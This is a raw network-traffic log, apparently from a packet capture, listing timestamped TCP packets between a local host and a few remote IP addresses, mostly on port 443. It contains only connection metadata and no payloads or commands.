Oct 29, 2024 18:42:28.835750103 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.000369072 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.001108885 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.001118898 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.001712084 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.001717091 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.046267986 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.046957016 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.046979904 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.047820091 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.047826052 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.059010029 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.059674978 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.059689045 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.060410023 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.060414076 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.081559896 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.082556009 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.082556009 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.082571983 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.082581043 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.134294033 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.134484053 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.134649992 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.134649992 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.135649920 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.135665894 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.137566090 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.137609005 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.137738943 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.137974977 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.137989044 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.176198006 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.176954031 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.177284002 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.177284002 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.177381992 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.177400112 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.180576086 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.180605888 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.180743933 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.180902958 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.180916071 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.191778898 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.192059994 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.192162991 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.192162991 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.192312956 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.192323923 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.194818974 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.194844961 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.194951057 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.195137024 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.195152044 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.251430035 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.251641035 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.251734972 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.251787901 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.251787901 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.251802921 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.251812935 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.255521059 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.255559921 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.255784035 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.255784035 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.255815983 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.556941986 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.559873104 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.559881926 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.560134888 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.560138941 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.684876919 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.684952021 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.685355902 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.685609102 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.685620070 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.685643911 CET	49778	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.685650110 CET	443	49778	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.690253973 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.690285921 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.690577984 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.690762997 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.690773964 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.882180929 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.883096933 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.883111000 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.884453058 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.884459019 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.918679953 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.919327974 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.919342041 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.919886112 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.919897079 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.933526039 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.934376001 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.934376001 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.934392929 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.934410095 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.982654095 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.985312939 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.985337019 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:29.986222982 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:29.986228943 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.015242100 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.015502930 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.015604019 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.015640974 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.015657902 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.016251087 CET	49779	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.016257048 CET	443	49779	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.018326044 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.018379927 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.018490076 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.018587112 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.018601894 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.049367905 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.049609900 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.051950932 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.051950932 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.052321911 CET	49780	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.052340984 CET	443	49780	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.054442883 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.054461956 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.054692030 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.054692030 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.054713964 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.065198898 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.065357924 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.065951109 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.065951109 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.065974951 CET	49781	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.065984011 CET	443	49781	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.068023920 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.068069935 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.068274975 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.068408012 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.068423033 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.116734028 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.116959095 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.117440939 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.117440939 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.117470026 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.117485046 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.119971037 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.119991064 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.120538950 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.120628119 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.120636940 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.426193953 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.426664114 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.426681042 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.427393913 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.427401066 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.559099913 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.559268951 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.559329033 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.559523106 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.559540987 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.559551954 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.559557915 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.562411070 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.562458992 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.562607050 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.562762976 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.562791109 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.760889053 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.761733055 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.761763096 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.762183905 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.762192011 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.792408943 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.792849064 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.792870998 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.793298006 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.793302059 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.811378002 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.811743975 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.811754942 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.812160969 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.812165976 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.847527027 CET	80	49757	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:30.847594976 CET	49757	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:30.861000061 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.861548901 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.861567974 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.862144947 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.862150908 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.892704964 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.892848015 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.892930031 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.893049002 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.893069983 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.893080950 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.893088102 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.896085978 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.896157026 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.896228075 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.896426916 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.896450996 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.923012972 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.923078060 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.923203945 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.923492908 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.923511982 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.923523903 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.923530102 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.927831888 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.927862883 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.928232908 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.928407907 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.928422928 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.943142891 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.944289923 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.944346905 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.944405079 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.944425106 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.944436073 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.944442034 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.947356939 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.947415113 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.947659969 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.947827101 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.947874069 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.992672920 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.992841005 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.992913008 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.993041992 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.993058920 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.993069887 CET	49787	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.993074894 CET	443	49787	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.995932102 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.995970964 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:30.996032000 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.996213913 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:30.996226072 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.302366018 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.302915096 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.302933931 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.303513050 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.303519011 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.432820082 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.433013916 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.433101892 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.433154106 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.433160067 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.433170080 CET	49788	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.433175087 CET	443	49788	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.435740948 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.435801029 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.436022997 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.436202049 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.436216116 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.656600952 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.657248020 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.657289982 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.657757044 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.657772064 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.661984921 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.662354946 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.662379026 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.662789106 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.662794113 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.713927031 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.714737892 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.714780092 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.715240002 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.715253115 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.779145002 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.780198097 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.780224085 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.780864954 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.780872107 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.791169882 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.791865110 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.791940928 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.792498112 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.792510986 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.792530060 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.792535067 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.793771982 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.795581102 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.795599937 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.795792103 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.796086073 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.796098948 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.797250032 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.797327042 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.797595978 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.797619104 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.797683001 CET	49789	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.797698021 CET	443	49789	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.800369978 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.800381899 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.801004887 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.801419020 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.801431894 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.851855993 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.851927996 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.852530003 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.852595091 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.852595091 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.852627039 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.852653027 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.855647087 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.855688095 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.855889082 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.856030941 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.856060982 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.918541908 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.918787003 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.918971062 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.919003963 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.919024944 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.919035912 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.919049025 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.921600103 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.921653986 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:31.921756983 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.921932936 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:31.921948910 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:32.280584097 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:32.322000980 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:32.347625017 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:32.347639084 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:32.355114937 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:32.355123997 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:32.535310984 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:32.535515070 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:32.535567999 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:32.544461012 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:32.544482946 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:32.544495106 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:32.544501066 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:32.553941011 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:32.555221081 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:32.555279016 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:32.555372000 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:32.555761099 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:32.555772066 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:32.557394981 CET	443	49796	13.107.246.45	192.168.2.5
